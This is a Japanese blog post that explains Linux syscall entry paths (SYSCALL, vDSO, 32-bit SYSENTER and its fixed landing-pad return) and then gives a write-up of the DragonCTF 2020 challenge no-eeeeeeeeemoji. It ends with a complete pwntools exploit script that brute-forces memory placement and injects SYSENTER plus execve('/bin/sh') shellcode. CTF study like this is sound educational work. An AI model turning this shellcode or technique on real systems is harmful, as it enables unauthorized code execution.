イントロ
いつぞや開催された DragonCTF 2020。pwn 問題 no-eeeeeeeeemoji。
強豪犇めく CTF において、一番最初から出題されているのに 1solve。ざっくり概要を言ってしまうと、任意長の shellcode を流せるが、そのうち最初に自由に実行できるのは 2byte のみであり、2byte の後続の命令は NOP+直ちにexit
する関数で塗りつぶされ、また shortjump で届く範囲も全て不正な値で塗りつぶされるという状況である。
想定解では、sysenter
命令によってごにょごにょする。
リアルタイムで考えているときは、2byte+NOP スレッド(0x90)によって実現可能な 6 万通りの命令を分類して目 grep して使えそうなものを考えていた。勿論systener
やsysreturn
等も候補に上がっていたのだが、すぐに真切りしてしまった。
CTF 後になんでsysenter
をもっと考えられなかったのかと回顧してみると、
おそらくsysenter
/sysreturn
等のシステムコールが何をするものなのかをざっくりとしか把握していないからだと結論づいた。
自分で知っていると思っていることを実は知らないと真摯に認めることは何ともしんどいものではあるが、2byte でできることとしてsysenter
をよく吟味できなかったということはsyscall
/vsyscall
周りのことを雰囲気でしか理解していないということの証明にほかならない。曖昧さは猫をも殺すらしい。
今後このようなことが起こらないよう、syscall 周りの知識を再度調べ直し、体系的に理解し直してみたいと思う。 最後に、おさらいした知識を使って DragonCTF の問題 no-eeeeeeeeeeeemoji を解いていく。
syscall
MSR_LSTAR
まずは 64bit における通常のシスコール呼び出し方法である syscall
から見ていく。
Intel SDM によると、これは以下を行う命令である。
SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) SYSCALL also saves RFLAGS into R11 and then masks RFLAGS using the IA32_FMASK MSR (MSR address C0000084H); specifically, the processor clears in RFLAGS every bit corresponding to a bit that is set in the IA32_FMASK MSR.
IA32_LSTAR
という名前の MSR(アドレス0xC0000084
)が指すアドレスに PC を移す。
また、RFLAGS
レジスタをR11
に退避させ、
RFLAGS&IA_32_FMASK
というマスク処理を行う。
この IA32_LSTAR
に格納されているアドレスが 64bit システムコールにおけるエントリポイントということになる。
また、呼び出し時のユーザランドのRI
P をRCX
に退避する。
この MSR は、カーネルブート時に以下の syscall_init()
において初期化される:
1void syscall_init(void)
2{
3 wrmsr(MSR_STAR, 0, (__USER32_CS << 16) | __KERNEL_CS);
4 wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
前者の wrmsr
は後述するSYSENTER
で利用されるものである。
後者の wrmsrl
で MSR_LSTAR
に entry_SYSCALL_64()
のアドレスをセットしている。
このエントリポイントは、/arch/x86/entry/entry_64.S
においてアセンブリで実装されている関数である。
以下ではその流れを見ていく。
entry_SYSCALL_64
以下が entry_SYSCALL_64
の実装である。
冗長な部分や通常通らないパスは省略している。
なお、以下で参照する全てのコードは commit:169b93899c7dfb93a2b57da8e3505da9b2afcf5c
時点のカーネルを参照している。
1ENTRY(entry_SYSCALL_64)
2 UNWIND_HINT_EMPTY
3 # kernel用(per-CPU)のGSBaseの獲得 ①
4 swapgs
5 # ユーザランドのスタックポインタの退避 ②
6 movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
7 # kernel用にCR3レジスタを切り替える。 ③
8 SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp
9 # kernelRSPを取得。 ④
10 movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
11
12 # ユーザランドのレジスタでstruct pt_regsをスタック上に生成
13 pushq $__USER_DS /* pt_regs->ss */ # 0x2b
14 pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */ # 先程退避させていおいたRSP
15 pushq %r11 /* pt_regs->flags */
16 pushq $__USER_CS /* pt_regs->cs */ # 0x33
17 pushq %rcx /* pt_regs->ip */
18 GLOBAL(entry_SYSCALL_64_after_hwframe)
19 pushq %rax /* pt_regs->orig_ax */
20
21 # レジスタの保存とヌルクリア(xor)
22 PUSH_AND_CLEAR_REGS rax=$-ENOSYS
23 TRACE_IRQS_OFF
24
25 /* IRQs are off. */
26 movq %rax, %rdi
27 movq %rsp, %rsi
28 call do_syscall_64 # 実際の処理
29
30 TRACE_IRQS_IRETQ /* we're about to change IF */
31
32 # できる限りSYSRETで返りたい。RCX==R11の場合にはそれができる。IntelCPUの場合、RCX!=R11で#GS例外が発生する。こいつが発生すると、レジスタの値がuser-controllableな状態で処理が移ることになり、不味い
33 movq RCX(%rsp), %rcx
34 movq RIP(%rsp), %r11
35
36 cmpq %rcx, %r11 /* SYSRET requires RCX == RIP */
37 jne swapgs_restore_regs_and_return_to_usermode
38 # ⑤
39 shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
40 sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
41
42 /* If this changed %rcx, it was not canonical */
43 cmpq %rcx, %r11
44 jne swapgs_restore_regs_and_return_to_usermode
45
46 cmpq $__USER_CS, CS(%rsp) /* CS must match SYSRET */
47 jne swapgs_restore_regs_and_return_to_usermode
48
49 movq R11(%rsp), %r11
50 cmpq %r11, EFLAGS(%rsp) /* R11 == RFLAGS */
51 jne swapgs_restore_regs_and_return_to_usermode
52
53 # SYSCALLはR11にRFLAGSを退避させる際にRFフラグをクリアするが、他のパスにおいてこれがセットされた場合適切に処理する。
54 testq $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11
55 jnz swapgs_restore_regs_and_return_to_usermode
56
57 /* nothing to check for RSP */
58 cmpq $__USER_DS, SS(%rsp) /* SS must match SYSRET */
59 jne swapgs_restore_regs_and_return_to_usermode
60
61 # SYSRETで返れる。やったね
62 syscall_return_via_sysret:
63 /* rcx and r11 are already restored (see code above) */
64 POP_REGS pop_rdi=0 skip_r11rcx=1
65
66 # ここまででRSP/RDIを除いて戻し終わっている。
67 movq %rsp, %rdi
68 movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
69 UNWIND_HINT_EMPTY
70
71 pushq RSP-RDI(%rdi) /* RSP */
72 pushq (%rdi) /* RDI */
73
74 # 作業スタックの情報を消去
75 STACKLEAK_ERASE_NOCLOBBER
76
77 SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
78
79 popq %rdi
80 popq %rsp
81 USERGS_SYSRET64
82 END(entry_SYSCALL_64)
なお、SYSCALL
によってユーザランドの RSP が保存されることはないため、
実際のシスコールハンドラに処理が移る前に保存しておく必要があり、
ソフトウェアレベルで責任を負う。
RSP は kernel が kernel スタックに退避させることになる。
(RIP は呼び出し時にハードウェアレベルで RCX に退避される)。
一応言及しておくと、shadow stack が有効になっている場合には、
SSP
の値が IA32_PL3_SSP
MSR に退避される。shadow stack については以下のエントリを参照:
上のアセンブリを軽く概観する。
まず、SYSCALL
の直後に swapgs
を行う ①。
kernel に入った直後は右も左も分からず裸で荒野に投げ出された羊のようなものだから、swapgs
によって kernel GS base
と GS base
を交換することで、一時的な kernel 領域での作業領域を復元する。
これは、CPU に固有(per-CPU)の領域である。
この領域に対して、ユーザランドの RSP を退避させる ②。
その後、CR3
レジスタを切り替えて権限を切り替える ③。
scratch_reg=%rsp となっているのは、CR3 レジスタに対して直接的に OR や ADD 等の命令を行うことはハードウェアレベルで不可能なため、他のレジスタを媒介として演算を行う必要があり、その媒介に使用するのが RSP ということである。
そのために直前で RSP を先に退避させているわけである。
CR3 を切り替えた後は、作業領域から CPU 固有の kernel スタックのアドレスを RSP に取り出して、これで晴れてカーネルランドにおける作業準備が整う。
その後、諸々のレジスタをスタックに詰んで struct pt_regs
を生成する ④。
この構造体はレジスタの集合を表す構造体であり、このあとに呼び出すシスコールの実体に参照渡しすることで返り値を調整したりする。
その後、レジスタをクリアして割り込みを禁止した後で do_syscall_64()
を呼び出す。
この関数については、後述することにする。
do_syscall_64()
が呼び終わったら、RCX と RIP の値を RCX/R11 に復元する。
ここで、ユーザランドに戻るにはIRET
とSYSRET
の 2 通りがあり、後者を使うことが望ましい。
但し、SYSRET
には RCX==RIP
という条件と、RCX が canonical address であるという条件が有る。
後者が満たされていない場合、IntelCPU はGP#
例外を発生させる。
cannonical addressとは、アドレス空間に於いて許容されるアドレスのことを指す。 Intel x64 アーキテクチャの場合には、48bit(LSB)目より上位のビットが全て 48bit 目と同じアドレスのことを言う。以下の Wikipedia の図がわかりやすい:
ユーザランドの上位アドレスが0x7FFFF...
になっていたり kernel ランドのアドレスが0xFFFFF...
になっているのはこのためである。
要は 48bit 目以降が符号拡張されていれば canonical ということである。
よって、SYSRET
を行う前に、ビットシフト演算等を通してユーザランドの戻りアドレスが符号拡張が為されているかを確認している ⑤。
その後、諸々のレジスタを戻してユーザランドに返れば良いように思えるがそうも行かない。
SYSRET
自体は RSP を退避しないため、ユーザランドかカーネルランドのプログラムのどちらかがこれを適切に処理しなくてはいけないのだが、前述したとおり RSP に関してはカーネル側が責任を持つ。
ここで、カーネルランドで RSP をユーザランドに戻した直後に割り込みが発生した場合、その割り込みをユーザランドのスタックで処理してしまうことになる。これだと不味いため、割り込みが発生しないようにフラグをセットして有ることを確認する ⑥。
これらのチェックにパスした後でようやく諸々のレジスタを復元する。SYSRET
はRCX を RIP に、R11 を RFLAGS に復元する。
直前にswapgs
で再びkernel GS base
とGS base
を入れ替えて、SYSRET
を呼ぶことで無事にユーザランドに戻ることができる。尚、上記のチェックのどれかに引っかかった場合は IRET を呼ぶ遅いパスに移行するのだが、今回はそっちの経路は扱わない。
do_syscall_64
do_syscall_64()
(@/arch/x86/entry/common.c) は 64bit シスコール呼び出しの本体であり、以下のような実装になっている:
とりわけ特筆すべきところはない。
システムコールの番号が正常な範囲内(394
)であれば、システムコールハンドラの関数テーブルから適切なものを呼び出して、その返り値を RAX に入れているだけである。
ここで、もしもシスコール番号が不正であった場合の返り値として、前述のentry_SYSCALL_64()
において -ENOSYS
が格納されている。
よって、関数呼び出しが起こらなかった場合にはそのままこの値がエラー番号として返ることになる。
関数テーブルの各々の実装についてはここでは触れない。
以上が SYSCALL
を用いた 64bit システムコールの実装であった。
64bit vDSO
vDSO 導入
SYSCALL
においてはユーザランドの RIP は RCX に退避される。
そのため、これらのお世話は呼び出し側が行う必要はない。
そのため、glibc のシステムコールラッパが行うことは殆どないのだが、のちの vDSO に繋がるため結合部分の実装をほんの軽く概観する。
例えば write()
のラッパは以下のようになっている:
単純に RAX に 1 を入れてSYSCALL
を呼び出すだけである。
RIP はSYSCALL
/SYSRET
が勝手に処理してくれるし、RSP はカーネルが良しなにしてくれるため、glibc 側でやることは何もない。
但し、例外が存在する。例えば gettimeofday()
を呼び出した際には以下のようになる:
アドレス0x7FFF27CEf840
にジャンプしている。この時のメモリマップは以下のとおり:
先程のアドレスは、vDSOという領域に属していることになる。
結論から言うと、この vDSO という領域は、一部のシステムコールを高速化するために kernel 領域からユーザランドに共有オブジェクトの形でマッピングされている領域である。
単なる共有オブジェクトであるから、GDB 上で dump memory ./vdso-64.so 0x7FFF27CEF000 0x7FFF27CF000
のようにしてメモリダンプして情報を見てみると、以下のようになる:
確かに ELF 形式のファイルとして情報を持っていることが分かる。ここで、先程ジャンプしたアドレス0x7FFF27CEF840
のオフセットである0x840
周辺は以下のようになっている:
__vdso_gettimeofday@@LINUX_2.6
という関数がドンピシャである。
これが gettimeofday()
の実体である。
そして最大の特徴は、内部でSYSCALL
が呼ばれないということである。
単純にアセンブリを見るとSYSCALL
が有るが、通常このパスは通らず、
一度もSYSCALL
を呼ばないまま終了する。
このように、カーネル空間への切り替えが伴わないため、余計なオーバーヘッドを削ることができ、結果的に高速化を実現することができるのが vDSO である。
全ての関数呼び出しが vDSO を経由するわけではない。
vDSO を用いた関数呼び出しを行うのは、先程の vDSO シンボル情報からも分かるとおり、
gettimeofday()
/ clock_gettime()
/ time()
/ get_cpu()
の 4 つだけである。
其れ以外は先程見たとおり、SYSCALL
を呼んでカーネルに入っていく。
vDSO のマッピングアドレス
それではこの vDSO はどのようにして初期化され、どうやってカーネル空間からユーザ空間にマップされ、どうやって共有オブジェクトとして機能するのか。 本来であれば、vDSO よりも古いシステムである vsyscall について触れるのが先のような気もするが、そんなに根本的な違いはないため 64bit vDSO から先に概観してしまう。
まず、vDSO が何処にマップされるか見てみる:
プロセスごとに vDSO がマップされるアドレスは異なることが見て取れる。
(vDSO は 1 ページ分しか無い)。
因みに先取りしてしまうと、vsyscall
というページはプロセスによらず常に0xFFFFFFFFFF600000
から 1 ページ分マッピングされていることが分かる。
vDSO はこのvsyscall
ページを動的に配置したものであり、
vsyscall
をセキュリティ的に安全に置き換えたものと考えられる。
vDSO はリンク時バイナリイメージをメモリにロードする際にカーネルがマッピングする。このプロセスについては後述する。
vDSO の初期化
vDSO の初期化もシスコールの初期化と同様にカーネルブート時に init_vdso()
(@/arch/x86/entry/vdso/vma.c) において行われる:
実体は init_vdso_image()
である:
まぁ最適化のために色々とごちゃごちゃしているが、大したことはしていない。
というか、実は init_vdso()
を呼び出した時点で、というよりもカーネルをビルドした時点で vDSO イメージ及びその情報はほぼほぼ決まっている。
事実、init_vdso()
を呼び出した時の vdso_image_64
の値は以下のようになっている:
そのサイズ(0x1000
)も他の諸々のアドレスも既に格納されている。
ここで、data
メンバの指すアドレス配下のようになっている:
先頭にある、親の顔より見た ELF ヘッダ(7F45
)からも分かるとおり、
このraw_data
こそが vDSO の本体に他ならない。
このバイナリイメージは、カーネルが起動する際にわざわざ計算して生成するものではない。
カーネルビルド時に /arch/x86/entry/vdso/vdso2c.c
がビルドされてできるプログラムによって、
/arch/x86/entry/vdso/vdso-image-64.c
というファイルが生成され、その中にベタ書きしてある:
カーネルはこのデータを読み込んで vDSO として使用するだけである。
そんなわけで、init_vdso_image64()
は多分何もやってない。知らんけど。
関数の前後で値がなんも変わってなかったから、まぁ多分何もやっていない。
ここまで、vDSO の初期化を見てきた。 初期化と言っても、カーネルビルド時にほぼ全ての情報が生成され、ブート時にはそれらをロードするだけである。
ユーザ空間へのマッピング
さてさて、こっからが本番。
vDSO はバイナリイメージのロード時にカーネルによってユーザ空間にマッピングされる。
そのエントリポイントは map_vdso_randomized()
(@/arch/x86/entry/vdso/vma.c) である。
(このへん、かなり最適化されていてかなりデバッグめんどい)
vdso_addr()
によって配置アドレスを取得した後、map_vdso()
で実際にマッピングしている。
先程までのvmmap
を見ていれば分かるとおり、vDSO はユーザスタックの真下(上位アドレス)に置かれる。
vDSO 自体がランダマイズされていると言うより、ランダム配置の stack に隣接して置かれることになる。
よって、current->mm->start_stack
によってユーザスタックのアドレスを入手している。
vdso_addr()
自体はスタック開始アドレスを基準としてページアラインさせたり終端アドレスを丸めたりと微調整しているだけで、基本的に開始アドレスはスタックアドレスと同じになると考えてよい。
因みに、vDSO において必要となるカーネルシンボルのいくつかは vvar
という領域としてこれもやはりユーザ空間に R でマッピングされることになる。
map_vdso()
は以下の感じ。vvar
のマッピングも一緒に行う:
セマフォを取得した後、最初に get_unmapped_area()
でページを取得する。
その後 _install_special_mapping()
で vDSO にイメージを書き込む。
権限は READ/EXEC/MAYREAD/MAYWRITE/MAYEXEC
である。
write 権限は gdb 用に確保してあるらしい。
ありがたい。
その後同様にしてvvar
にデータを書き込む。
権限は見ての通りで、書き込みと実行は不可である。
エラーが発生しなかった場合、最後にcurrent->mm->context
に vDSO とvvar
のアドレスを書き込んで終わりである。
(余談だが、ptrace の不具合だか何だかで、gdb からvvar
領域を読み込むことはできなくなっている。
詳しく調べていないのでよく知らんけど)
ここまで、64bit 空間における vDSO のマッピングを見てきた。 ユーザスタックに隣接するようにマッピングしていることが分かる。
32bit SYSENTER/SYSEXIT
ああああああああああああああああああああああああああああああああああああああああああああああああ、 レポートと実験終わんないよおおおおおおおおおおおおおおおおおおおおおおおおおおおおお。
おっと、危ない、取り乱した。気を取り直して。
ここまで、64bit モードにおける 2 通りのシステムコール呼び出し(SYSCALL/vDSO)を見てきた。
続いて、32bit におけるシスコール呼び出しを見ていく。尚、以降の話は純粋な 32bitOS における話ではなく 64bitOS における 32bit エミュレーションの話である。
これはカーネルビルドコンフィグに於いて IA32_EMULATION
を有効にする必要が有る:
32bit モードに於いては、システムコールの呼び出しをSYSENTER
で行う。
これはおおよそSYSCALL
の 32bit みたいな感じである。
SYSCALL
のエントリポイントも同様にして、カーネルのブート時に syscall_init()
によって決定される:
SYSENTER
は実行時に MSR_IA32_SYSENTER_EIP
MSR の値を EIP にロードする。
ブート時にこの MSR の値を entry_SYSENTER_compat()
に設定しているため、64bitOS におけるSYSENTER
のエントリポイントはこの関数になる。
entry_SYSENTER_compat
は /arch/x86/entry/entry_64_compat.S
でアセンブリで実装されている。
実装は SYSCALL のエントリポイントとほぼ同じであるため掲載しない。
ここで重要なこととして、SYSCALL では呼び出し時に RIP が RCX に退避されていたが、SYSENTER では EIP は何処にも退避されない。
もう一回言っとこ。SYSCALL では呼び出し時に RIP が RCX に退避されていたが、SYSENTER では EIP は何処にも退避されない。
あと一回。SYSCALL では呼び出し時に RIP が RCX に退避されていたが、SYSENTER では EIP は何処にも退避されない。
しかも、同様にユーザランド EFLAGS も退避されることはない。 ESP は実行前にユーザプログラム側で EBP に退避させる必要が有る。 こいつは、まじで何もしてくれない。 ニートシステムコールだ。 これらのレジスタの値は、呼び出し側で退避させておく必要が有る。 これらも同様にして libc 並びに vDSO が処理してくれるのだが、これは大事なことなので後述する。
SYSENTER と対となる命令は SYSEXIT であり、これはECXに入っている値をEIPにロードしてユーザランドに返す命令
である。
………..??????????????????????????
先程言ったとおり、SYSENTER
の呼び出し時に ECX に戻りアドレスが入っているようなことはない。
以下の calling convention が示すように、ECX には単に第 2 引数が入っている:
それでは、いつのまにこの ECX に戻りアドレスが代入されたのか。 そもそも戻りアドレスはどうやって計算したのか。
これは、entry_SYSENTER_compat()
内では行われず、
そこで呼び出される do_fast_syscall_32()
において行われる:
第 1 行目の landing_pad
が大切である。
ユーザプロセスのvDSOアドレス + vdso_image_32.sym_int80_landing_pad
を計算して landing_pad
と名付けている。
この時、vdso_image_32.sym_int80_landing_pad
の値は以下のようになっている:
0x939
。
これで計算した landing_pad
をスタックに積んである pt_regs
の EIP に該当する部分に書き込んでいる。
これによって、 entry_SYSENTER_compat()
に処理が戻って諸々のレジスタを pop し SYSEXIT に戻る際にこのアドレスが EIP に入ることになり、ユーザランドのこのアドレスに戻ることになる。
続く do_fast_syscall_32()
の処理は特に変わったところはなく、普通にシステムコールハンドラを呼び出すだけである。
さて、ここまでで SYSENTER の戻りアドレスはレジスタの値に全く関係なく vDSO + 0x939 == landing_pad
に戻ることが分かった。
ではこの値が何を意味しているのか。これは 32bit vDSO の仕組みを見ると分かるため、次は vDSO を見ていくことにする。
32bit vDSO / __kernel_vsyscall
32bit エミュにおいてもやはり vDSO を使用する。 以下の図のように vDSO はマッピングされていることが分かる。 (32bit 且つ static リンクなので vmmap がこじんまりとしていて可愛いですね… 癒やされます…)
やはりstack->vdso->vvar
の順にマッピングされている。
さてさて、この vDSO イメージにおいて、先程見た+0x939
というオフセットにはなにがあるのだろうか:
__kernel_vsyscall()
という関数の INT 0x80
命令の 1 個後のアドレスを指していて、そのINT 0x80
の 1 個前にはSYSENTER
がある。
試しに、32bit プログラムで write()
を行ってみると、glibc 内のwrite()
からすぐにこの__kernel_vsyscall()
に飛んだ。
上のアセンブラでは、ESP を EBP に移している。
これは、SYSENTER
の ABI に合わせるためである。
また、揮発性の ECX/EDX 及び ESP が入る EBP をスタックに退避させている。
そうしてSYSENTER
に入ったあとは、先程説明したようなパスを辿り、
vDSO+0x939
というアドレスにSYSEXIT
することになる。
これは、ユーザプロセスがどこで SYSENTER を呼んだかに関係なく固定のアドレスなのであった。
この+0x939
は、退避させたレジスタを POP する。
何故SYSENTER
の直後の命令に戻らないかと言うと、32bit 環境においてはINT 0x80
でシスコールを呼び出すことも可能でありどちらの選択の余地も有るため、SYSENTER をした場合もINT 0x80
をしたのと変わらないような見かけにするためだという。
なお、64bit 環境において vDSO を利用する gettimeofday()
等は 32bit においても vDSO を利用するが、
__kernel_vsyscall()
は介さずにすぐに vDSO 中の対応するハンドラに飛ぶことになる。
さてさて、ここまで 32bit における vDSO を見てきた。
64bit と異なり、特定の 4 つの関数以外も vDSO(__kernel_vsyscall
)を利用し、戻りアドレスはカーネル内で決められた vDSO 中の固定アドレスになる。
湧き上がる疑問
重要なこと、**SYSENTER からの戻りアドレスは固定アドレス(厳密には vDSO+固定オフセット)**である。
そしてもう一つ重要なこと、
これが上手く働くにはSYSENTER 前後の処理を適切に行う必要が有る。
このお世話係は vDSO 中の __kernel_vsyscall()
が行ってくれる。逆に言うと、SYSENTER を介したシスコールは、__kernel_vsyscall()
から呼び出すことしか想定されていない。
おっと????それでは、64bit 環境において、不正に SYSENTER を呼び出したらどうなるのであろうか????
それでは no-eeeeeeeeeeeeeeeemoji を解いていくことにする。
6: no-eeeeeeeeemoji from DragonCTF 2020
ここまで 32bit/64bit におけるシステムコールを概観してきた。 やっと、DragonCTF の問題 no-eeeeeeeeeeemoji を解くことができる。 1 solve 問題である。やばたにえん。
静的解析/ 問題概要
.sh1./main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=04de054da4e374f485c3d10b147634b527f62cd7, for GNU/Linux 3.2.0, stripped
2 Arch: amd64-64-little
3 RELRO: Partial RELRO
4 Stack: Canary found
5 NX: NX enabled
6 PIE: PIE enabled
7Ubuntu 18.04 from docker-hub
乱数によって決められるアドレスに対して 1 ページ分だけmmap
し、そこに任意長のシェルコードを注入することができる。
但し、注入したシェルコードの内、2byte を残して下位部分は不正な値(0x41
)によって塗りつぶされ、上位部分は NOP スレッド+直ちにexit()
するコードで塗りつぶされてしまう。
結果として一番最初に自由に実行できるコードは 2byte のみである。
メモリレイアウトは以下のようになる:
ものすごく細かくて見づらいが、図の緑色の部分だけ任意のコードを注入でき、其れ以外は不正な値 or すぐ死ぬ関数で塗りつぶされている。
図のmmap+200
のアドレスから実行が開始される。
尚、mmap()
されるアドレスはシード無しのrand()
によって、
0x1000
から0x1000000
の間に 1 ページ分だけ取られる。
mmap()
は何度でもやり直すことが可能なため、この間のページアラインされた領域ならば任意のアドレスに取得できると考えてよい。
また、接続時にプロセスマップが与えられるため諸々のリークの必要はない。
リアルタイムでどう考えたか
これを CTF 中に考えたときは、自由に注入できる 2byte と、その後ろに続いている NOP スレッド(0x90…)をつなげて使うのではないかと考えた。 よって、任意の 2byte+0x909090909090…によって生成することのできる命令およそ 6 万通りの命令を分類し、目 grep して使えそうな命令がないか試した。 その中には勿論 SYSENTER もあった。 だが、最初に言ったようにあまりこの命令自体を深く考えたことがないためすぐに候補から外してしまった。 結局色々試した結果使えそうなものが見つからず、最終的に 2byte でどうこうする以外に見逃していることが有るのではないかと考えたまま終わってしまった。
__kernl_vsyscall を経由せずに SYSENTER するとどうなるか
この疑問に対する結論から先に言ってしまう。そして、この一言でこの問題は解けたも同然になる。
64bit モードにおいて SYSENTER を呼び出した時、戻りアドレスはユーザプロセス vDSO のアドレスに固定のオフセットを加えたアドレスの下 32bit になる。
ここでいう固定のオフセットとは、先程見た vdso_image_32.sym_int80_landing_pad
、
つまり vDSO における__kernel_vsyscall()
内のINT 0x80
までのオフセットである。
すなわち、それが 64bit モードで呼び出されていようといなかろうと、
vDSO から呼び出されていようといなかろうと、
正規の手順(レジスタの退避・復元)がSYSENTER
前後にあろうとなかろうと、
その vDSO のアドレスが 32bit レンジだろうと 64bit レンジだろうとおかまいなしに、
決まったアドレスに戻ってしまうことになる。
まじ??????そんなことあっていいの????
exploit の方針
まず、メモリマップが与えられるため vDSO のアドレスをメモする。
このアドレスが、mmap()
がそもそもに可能な領域であるかを確認する。
今回可能なアドレスは、0x0 ~ 0x1000000
である。
下 32bit がこの範囲外に有る場合はもう一度接続し直してやり直す。
(vDSO のアドレスは0x7FF_XXYYY000
であるから、8bit のエントロピー)
その後、vDSO+固定オフセットの下 32bit がmmap()
した範囲に来るように、mmap()
を繰り返す。
ここでいう固定オフセットは、Ubuntu18.04 の場合以下のように0xB49
である:
SYSENTERの
オペコードは 0F 34
であり 2byte で十分であるから、
最初に実行できる 2byte にSYSENTER
を注入する。
他の領域には NOP スレッドを入れておいて、mmap()
した一番最後に通常の 32bit シェルコードを入れておく。
そうすると、SYSENTER
して帰って来る際にvDSO+0xB49
の下 32bit が戻りアドレスになり、
これは先程調整したmmap()
のレンジ内であるから、広げておいた NOP スレッドを辿って最後のシェルコードを実行することになる。
はーーーーー、わかってしまえば、めっちゃ単純…
exploit
割とな数のぶるーとふぉーすしなくちゃいけないので、CTF 後の低速サーバに切り替わった後では結構きつい。
exployt.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6import time
7
8FILENAME = "./main"
9LIBCNAME = ""
10
11hosts = ("noemoji.hackable.software","localhost","localhost")
12ports = (1337,12300,23947)
13rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
14rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
15rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
16context(os='linux',arch='i386')
17binf = ELF(FILENAME)
18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
19
20
21## utilities #########################################
22
23def hoge(ch):
24 global c
25 c.recvuntil("cow beer\n")
26 c.recvline()
27 c.sendline(ch)
28
29def horse(data):
30 global c
31 s = len(data)
32 hoge('h')
33 c.recvuntil("gib:\n")
34 for i in range(s//0x20 + 1):
35 try:
36 c.send(data[i*0x20: (i+1)*0x20])
37 except():
38 return
39
40def beer():
41 global c
42 hoge('b')
43 c.recvuntil("@")
44 return int(c.recvline().rstrip(), 16)
45
46i = 0
47j = 0
48
49def cow():
50 global c
51 hoge('c')
52
53## exploit ###########################################
54
55def exploit():
56 global c
57 global i,j
58 sym_int80_landing_pad = 0xb49
59
60 # get vDSO addr
61 c.recvuntil("[vvar]")
62 c.recvline()
63 vdso = int(c.recvuntil("-")[:-1], 16)
64 print("[{}] vdso: ".format(hex(i))+hex(vdso))
65
66 # check vDSO's 32bit is in range of mmap(0x0~0x1000000) [8bit entropy]
67 # むぅ、なんかtarget>=0x400000だとうまくいかん気がするんだが
68 #if(vdso & 0xFF000000 != 0):
69 if(((vdso & (2**32 - 1))>>12) >= 0x300):
70 return False
71 target = vdso & (2**32 - 1)
72 print("[!] YEAH. I can target: "+hex(target))
73
74 # mmap until (vDSO+0xB49)&32bit is mapped [12bit entropy]
75 j = 0
76 while True:
77 mmapaddr = beer()
78 print("[{}] mmap: ".format(hex(j))+hex(mmapaddr))
79 j += 1
80 if mmapaddr == target:
81 break
82
83 # inject shellcode
84 print("[!] injecting shellcode and SYSENTERing...")
85 shellcode = b""
86 shellcode += asm('mov esp, {}'.format(hex(mmapaddr + 0x200)))
87 shellcode += asm('xor eax, eax')
88 shellcode += asm('push 0x0068732f')
89 shellcode += asm('push 0x6e69622f')
90 shellcode += asm('mov ebx, esp')
91 shellcode += asm('mov ecx, eax')
92 shellcode += asm('mov edx, eax')
93 shellcode += asm('mov al, 0xb')
94 shellcode += asm('int 0x80')
95 shellcode += asm('xor eax, eax')
96 shellcode += asm('inc eax')
97 shellcode += asm('int 0x80')
98 pay = b""
99 pay += p8(0x90) * 0x200
100 pay += p8(0x0F) + p8(0x34) # SYSENTER
101 pay += p8(0x90) * (0xe00 - len(pay))
102 pay += shellcode
103 pay += p8(0x90) * (0x1000 - len(pay))
104 raw_input("ENTER TO PWN")
105 horse(pay)
106
107 return True
108
109
110
111## main ##############################################
112
113if __name__ == "__main__":
114 global c
115 global i
116 start_time = time.time()
117
118
119 while True:
120 if len(sys.argv)>1:
121 if sys.argv[1][0]=="d":
122 cmd = """
123 set follow-fork-mode parent
124 """
125 c = gdb.debug(FILENAME,cmd)
126 elif sys.argv[1][0]=="r":
127 c = remote(rhp1["host"],rhp1["port"])
128 elif sys.argv[1][0]=="v":
129 c = remote(rhp3["host"],rhp3["port"])
130 else:
131 c = remote(rhp2['host'],rhp2['port'])
132
133 result = exploit()
134 if result == False:
135 c.close()
136 i += 1
137 continue
138
139 break
140 print("[!] Success pwning:")
141 print("[+] try of vSDO: "+hex(i))
142 print("[+] try of mmap: "+hex(j))
143 print("[+] total time : " + str(time.time() - start_time) + "s")
144
145 c.interactive()
こうすると、SYSENTER の直前がこんな感じで:
SYSENTER するとこうなって:
以降は NOP スレッドを辿ってシェルコードにたどり着く。
シェルコードでは、ESP を有効なアドレス(今回はmmap()
したとこの内どっか)に持っていくのを忘れずに。
ローカルの結果:
vDSO がそもそもに pwn 可能な位置に来るまでのリトライが 475 回、そのあとの mmap()での調整が 1994 回。 うーん、これリモートだとだいぶきつそうだな。しかも CTF 終わったから低速サーバに切り替わっていて、実際にリモートで試すのはしんどそう。まぁリモートと環境全く一緒にしてるからこれで終わりでいいよね、いいよ。
と思ったら、まぁフラグ取れた:
317 秒。まぁ、いいか。
アウトロ
解けなかった人間が言うのもなんですが、タネがわかってしまえばものすごくシンプルな問題です。 それでも解ききれなかったのは、やはり知識に曖昧な点があったからに他ならないと思うので、 今ここで総復習する機会ができたのは良かったと思います。
こんなん基礎の基礎だろって記事を読みながら思ったプロ pwner もいるかもしれませんが、 この辺のことを 100%理解しているのならばこの問題は瞬殺できるはずなので、この問題をリアルタイムで解けた 1 チームの誰かを除いて反省してください。 嘘です。ごめんなさい。
まぁ、曖昧な知識はいつか必ずボロが出るはずなので、ちゃんとどこかで固めておくのは大事だなぁと思いました。 うさぎ。
